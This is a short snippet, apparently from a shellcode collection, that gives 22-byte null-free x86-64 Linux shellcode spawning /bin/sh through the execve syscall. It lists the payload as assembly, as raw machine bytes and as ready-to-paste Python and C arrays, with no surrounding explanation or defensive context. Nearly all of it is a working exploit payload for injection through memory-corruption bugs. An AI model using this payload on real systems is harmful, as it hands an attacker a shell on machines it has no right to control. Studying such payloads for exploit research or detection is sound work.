22 byte nullfree shellcode

Assembly instructions

xor esi, esipush rsimov rbx, 0x68732f2f6e69622fpush rbxpush rsppop rdipush 59pop raxcdqsyscall

Machine bytecode

31 f65648 bb 2f 62 69 6e 2f 2f 73 6853545f6a 3b58990f 05

python

shellcode = b"\x31\xf6\x56\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

c

const unsigned char shellcode[] = { 0x31, 0xf6, 0x56, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x53, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05 };